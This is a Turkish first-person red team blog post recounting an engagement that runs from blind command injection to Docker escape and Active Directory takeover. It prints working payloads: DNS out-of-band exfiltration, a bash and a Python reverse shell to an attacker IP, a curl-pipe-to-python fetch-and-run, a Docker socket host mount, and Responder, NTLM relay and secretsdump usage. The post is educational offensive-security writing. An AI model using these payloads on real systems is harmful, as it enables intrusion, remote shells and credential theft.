Ekranın sağ alt köşesindeki saat 03:14’ü gösteriyordu ve nc -lvnp 4444 çıktısında o beklediğim connect to [IP] from (UNKNOWN) [IP] 58234 satırını görmüştüm ama imleç bir türlü yanıp sönmüyordu. Shell gelmişti ama karşılık vermiyordu. Terminale yazdığım her whoami komutu, sanki dijital bir kara deliğe düşüp yok oluyordu. Gözlerim kan çanağı, kahve bardağı çoktan soğumuş... İşte o an, simülasyonun bittiği ve gerçek "hacking" disiplininin başladığı andı. Karşımda sadece bir web uygulaması yoktu; iyi yapılandırılmış bir WAF, arkada ne yaptığını bilen bir EDR ve benimle dalga geçen bir asimetrik network trafiği vardı.
Hedef, şirketin iç kaynaklarına erişimi olan, masum görünümlü bir "Log Analiz" paneliydi. Girdiğim her tırnak işareti, her noktalı virgül WAF tarafından bloklanıyordu. Ama biliyorsun abi, bir yerde "Log" kelimesi geçiyorsa, orada mutlaka bir yerlerde exec() veya system() çağrısı vardır. Geliştirici dostumuz, logları filtrelemek için sistem komutlarını kullanmaya karar vermişti ve ben o açığı bulmuştum. Ancak sorun şuydu: Komut çalışıyordu ama çıktısını göremiyordum. Tamamen "blind" (kör) durumdaydım.
Kör Atışta İz Sürmek (OOB Exfiltration)
Çıktıyı göremediğin bir sistemde "Acaba çalıştı mı?" diye sormak, karanlıkta siyah bir kediyi aramaya benzer. İlk denemem klasik bir ping atmaktı ama iç ağdan dışarıya ICMP paketleri kapalıydı. Hemen klasik yöntemlere döndüm. DNS, her zaman kurtarıcıdır. Eğer paket dışarı çıkamıyorsa, DNS sorgusu mutlaka bir yerlerden sızar.
Hemen kendi kontrolümdeki bir sunucuda tcpdump başlattım ve payload'u hazırladım:
# Payload: Bir DNS sorgusu tetikleyerek komutun çalışıp çalışmadığını anlamak
`whoami`.kendi-domainim.com
Veee... Bingo! Terminalde root.kendi-domainim.com sorgusunu gördüğümde içimdeki o çocuksu sevinci tahmin edersin. Ama asıl iş şimdi başlıyordu. Sadece whoami yetmezdi, o shell'i buraya getirmemiz lazımdı.
WAF'ı Dansa Kaldırmak
Standart /bin/bash -i >& /dev/tcp/IP/PORT 0>&1 payload'u, WAF'ın en sevdiği avdır. İçinde /dev/tcp geçen her şeyi havada kapıyor. Burada biraz yaratıcı olmak gerekiyordu. Base64 her zaman işe yarar diye düşünürüz ama bazen base64 komutu bile yasaklı listesinde olabilir. Ben de işi biraz daha "low-level" tutmaya karar verdim.
Sistemde Python3 olduğunu biliyordum. Python'un socket ve os modüllerini kullanarak, WAF'ın imzasına takılmayacak şekilde parçalanmış bir payload gönderdim. Ama doğrudan göndermek yerine, curl ile kendi sunucumdan bir dosya çekip onu pipe üzerinden pythona bastım.
# Kendi sunucumdaki 's.py' dosyası içeriği:
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("KENDI_IP_ADRESIM",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")
Ve tetikleyici komut:
curl http://KENDI_IP_ADRESIM/s.py | python3
Shell geldi... Ama işte yazının başında bahsettiğim o "ölü shell" durumuyla karşılaştım. Bağlantı var ama interaktif değil. Network adminleri dışarı giden TCP trafiğini o kadar daraltmışlar ki, paketler gidiyor ama ACK alamadıkları için oturum düşüyordu ya da donuyordu.
Konteynerden Kaçış: Bir 'Root' Hikayesi
Shell'i stabilize etmek için socat denedim, o da yemedi. En sonunda stty raw -echo; fg ile terminali düzelttiğimde, kendimi bir Docker konteynerinin içinde buldum. hostname komutu bana a8f3b2c1d4 gibi anlamsız bir ID veriyordu.
"Tamam Sedat," dedim kendi kendime, "Şimdi asıl oyun başlıyor."
Konteynerin içinde ls -la / yaptığımda gözlerime inanamadım. Geliştirici arkadaş, kolaylık olsun diye host makinenin /var/run/docker.sock dosyasını konteynerin içine mount etmişti. Bu, "Al kardeşim, host makinenin anahtarı burada, git ne yaparsan yap" demekti.
Hemen host üzerinde yeni bir konteyner ayağa kaldırıp, host'un root dizinini /mnt altına mount eden o meşhur komutu yazdım:
# Docker socket üzerinden host'u ele geçirmek
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Artık host makinedeydim. Ama bu sadece başlangıçtı. Bir Red Team operasyonunda bir sunucuyu düşürmek, sadece kapıyı çalmaktır. Asıl amaç, o kapıdan girip içerideki değerli veriye (Crown Jewels) ulaşmak ve iz bırakmadan çıkmaktır.
İç Ağda Sessizce İlerlemek (Lateral Movement)
Host makineye sızdıktan sonra yaptığım ilk iş, makinenin neye erişimi olduğunu anlamaktı. arp -a ve netstat -rn komutları bana ağın haritasını ufaktan çizmeye başladı. Burası bir "Management Network" idi ve etrafta bir sürü vCenter, Jenkins ve Backup sunucusu vardı.
Jenkins sunucularına bayılırım. Genelde zayıf şifrelerle veya "Script Console" gibi muazzam arka kapılarla doludurlar. Ancak bu sefer şansım yaver gitmedi, Jenkins sıkılaştırılmıştı. Ben de eski dostum Responderı ve Impacket setini çantamdan çıkardım.
İç ağda bir süre trafiği dinlediğimde (passive sniffing), bazı sunucuların hala LLMNR ve NBT-NS sorguları attığını gördüm. İşte bu, modern dünyada hala çalışan o antika açık!
# Responder ile hash toplama
python3 Responder.py -I eth0 -rdv
Birkaç dakika içinde bir servis hesabının NTLMv2 hash'i düştü. Şimdi bu hash'i kırmaya çalışıp zaman kaybetmek mi, yoksa doğrudan "Pass-the-Hash" veya "Relay" mi yapmak? Tabii ki Relay!
SMB Signing özelliğinin kapalı olduğu bir veritabanı sunucusu buldum ve hash'i oraya relay ettim. ntlmrelayx.py sağ olsun, bana o sunucuda yerel admin haklarıyla bir shell verdi.
Active Directory'nin Kalbine Yolculuk
Veritabanı sunucusunda mimikatz (veya daha sessiz olsun derseniz lsassy) koşturduğumda, şans eseri o an sunucuda oturum açmış bir Domain Admin'in credential'larını yakaladım. Hayır, clear-text şifre değil, bir Kerberos bileti (TGT).
export KRB5CCNAME=/tmp/ticket.ccache dediğim an, artık ağın kralıydım. Domain Controller'a gidip DCSync saldırısı ile tüm domain'in hash'lerini çekebilirdim. Ama Red Team lideri olmanın getirdiği bir sorumluluk var: Gürültü yapma.
Sadece hedeflediğimiz finansal verilerin tutulduğu sunucuya gittim. secretsdump.py ile hash'leri aldım ve operasyonu orada noktaladım.
Neler Öğrendik? (Meslektaş Notları)
Bu gece mesaisinden cebime kalan birkaç önemli notu seninle paylaşayım dostum, belki bir gün senin de işine yarar:
- Araçlara Bağımlı Kalma: Eğer sadece Metasploit bilseydim, o kısıtlı network trafiğinde ve WAF arkasında takılıp kalırdım.
curl,python,bashvesocatsenin en iyi dostlarındır. - Körlüğü Kabul Et: Bir açık bulduğunda ekranına hemen yazı gelmesini bekleme. OOB (Out-of-band) yöntemleri (DNS, HTTP logları) her zaman B planın olsun.
- Konteyner Güvenliği Şakaya Gelmez:
/var/run/docker.sockdosyasını bir konteynere mount etmek, root şifresini Twitter'da paylaşmakla aynı şeydir. - İç Ağda Gürültü Yapma:
nmap -T4 -Aher zaman iyi bir fikir değildir. Bazen sadecearp -aile beklemek, en büyük discovery tool'undan daha çok bilgi verir. - Persistence (Kalıcılık) Önemlidir: Ama daha önemlisi, işin bittiğinde arkanda bıraktığın her şeyi temizlemektir. Bir Red Teamer'ın başarısı, orada olduğunun asla anlaşılmamasıdır (tabii rapor teslim edilene kadar).
Sabah 07:00 civarı ilk ışıklar odaya sızarken, raporu yazmaya başladım. O donan imleç, aslında bana sistemin sınırlarını ve savunma mekanizmalarının nerede başladığını anlatıyordu. Bir dahaki sefere shell gelmediğinde sinirlenme; sisteme kulak ver, o sana nerede hata yaptığını fısıldayacaktır.
Kahveler benden, bir sonraki sızma testinde görüşürüz.
